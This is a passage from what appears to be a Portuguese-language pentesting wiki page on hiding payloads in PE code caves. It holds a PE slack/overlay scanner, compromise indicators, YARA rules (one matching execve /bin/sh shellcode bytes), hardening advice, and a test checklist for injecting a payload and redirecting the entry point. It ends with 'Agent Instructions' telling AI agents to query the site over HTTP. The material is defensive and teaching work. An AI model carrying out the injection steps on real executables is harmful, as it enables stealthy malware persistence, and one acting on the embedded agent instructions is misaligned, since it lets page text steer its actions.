        virtual_size = struct.unpack('<I', section_data[8:12])[0]
        virtual_address = struct.unpack('<I', section_data[12:16])[0]
        raw_size = struct.unpack('<I', section_data[16:20])[0]
        raw_offset = struct.unpack('<I', section_data[20:24])[0]
        
        # Slack entre seções
        if raw_offset > prev_end:
            print(f"  Slack before section {i} ({name}): offset 0x{prev_end:X}, size {raw_offset - prev_end}")
        
        # Padding dentro da seção
        if raw_size > virtual_size:
            print(f"  Padding in section {i} ({name}): offset 0x{raw_offset + virtual_size:X}, size {raw_size - virtual_size}")
        
        prev_end = raw_offset + raw_size
    
    # Overlay
    file_size = len(data)
    if prev_end < file_size:
        print(f"  Overlay: offset 0x{prev_end:X}, size {file_size - prev_end}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: pescan.py <file>")
        sys.exit(1)
    analyze_pe(sys.argv[1])
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de File Caving:
  
  Análise Estática:
    - Tamanho de seção inconsistente (raw > virtual)
    - Espaço não utilizado entre seções
    - Overlay com conteúdo executável
    - Entry point fora da seção normal
    - Seções não padrão no PE
  
  Comportamentais:
    - Executável modificado com alteração de hash
    - Entry point modificado
    - Código em seções não executáveis
    - Strings suspeitas em overlay
  
  Análise de Memória:
    - Páginas de memória com permissões inconsistentes
    - Código executável em áreas não mapeadas originalmente
```

### **Ferramentas de Detecção**

```bash
# pecheck - Análise de integridade PE
pecheck target.exe

# Detect It Easy (DIE) - Detecção de empacotamento
die -d target.exe

# YARA rules para code caves
yara -r codecave_rules.yar target.exe

# ClamAV com assinaturas personalizadas
clamscan --detect-broken=yes target.exe
```

### **YARA Rules para Code Caves**

```yara
rule CodeCave_EntryPoint_Modification {
    meta:
        description = "Detecta entry point modificado para área de overlay"
        author = "Pentester"
        severity = "high"
    
    condition:
        uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550 and
        uint32(uint32(0x3C) + 0x28) >= uint32(uint32(0x3C) + 0x50)
}

rule CodeCave_Section_Padding {
    meta:
        description = "Detecta padding em seção contendo código"
        author = "Pentester"
        severity = "medium"
    
    strings:
        $shellcode = { 31 C0 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 E3 50 53 89 E1 B0 0B CD 80 }
    
    condition:
        uint16(0) == 0x5A4D and $shellcode
}

rule CodeCave_Overlay_Executable {
    meta:
        description = "Detecta código executável em overlay"
        author = "Pentester"
        severity = "high"
    
    strings:
        $mz = "MZ"
        $pe = "PE"
    
    condition:
        $mz at 0 and not $pe at 0x3C and uint16(0) == 0x5A4D
}
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções de Integridade**

```powershell
# Verificar integridade de arquivos com Get-FileHash
Get-FileHash -Algorithm SHA256 "C:\Windows\System32\notepad.exe"

# Usar Windows Defender Application Control
# Criar política que valida assinaturas de arquivos

# Configurar AppLocker
# Bloquear execução de arquivos com integridade comprometida
```

### **Análise de Integridade de Arquivos**

```python
# integrity_check.py
import hashlib
import os

def verify_file_integrity(filepath, known_hash):
    """Verificar integridade do arquivo"""
    with open(filepath, 'rb') as f:
        file_hash = hashlib.sha256(f.read()).hexdigest()
    
    return file_hash == known_hash

def detect_modified_sections(filepath):
    """Detectar seções modificadas no PE"""
    # Implementação de detecção de code caves
    pass
```

### **Hardening de Sistema**

```yaml
Recomendações:
  - Manter Windows Defender atualizado
  - Habilitar Windows Defender Application Control
  - Configurar Attack Surface Reduction (ASR) rules
  - Usar Code Integrity Guard
  - Implementar políticas de execução de scripts
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar Windows Defender
  * [ ] Configurar WDAC ou AppLocker
  * [ ] Atualizar definições de antivírus
* [ ] **Arquivos**
  * [ ] Verificar integridade de arquivos do sistema
  * [ ] Monitorar modificações em executáveis críticos
  * [ ] Implementar hash checking

### **Checklist de Teste**

* [ ] **Análise**
  * [ ] Identificar code caves no arquivo alvo
  * [ ] Verificar tamanho disponível
  * [ ] Calcular RVA para modificação de entry point
* [ ] **Execução**
  * [ ] Inserir payload no code cave
  * [ ] Modificar entry point (se necessário)
  * [ ] Testar execução do arquivo modificado
* [ ] **Validação**
  * [ ] Verificar funcionalidade original
  * [ ] Confirmar execução do payload
  * [ ] Documentar modificações

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
File Caving:
  ✅ Técnica furtiva de injeção em arquivos
  ✅ Preserva funcionalidade original
  ✅ Bypassa detecção baseada em assinatura
  ✅ Útil para persistência e evasão

Defesas essenciais:
  ❌ Não confiar em hash de arquivo
  ✓ Implementar verificação de integridade
  ✓ Monitorar modificações em executáveis
  ✓ Usar WDAC/AppLocker
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Identificar code caves adequadas
   * Preservar funcionalidade original
   * Calcular corretamente os offsets
   * Testar em ambientes controlados
2. **Para Blue Teams**
   * Monitorar modificações em executáveis críticos
   * Implementar verificação de integridade
   * Usar Windows Defender Application Control
   * Configurar alertas para entry point modificados


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/file-carving.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
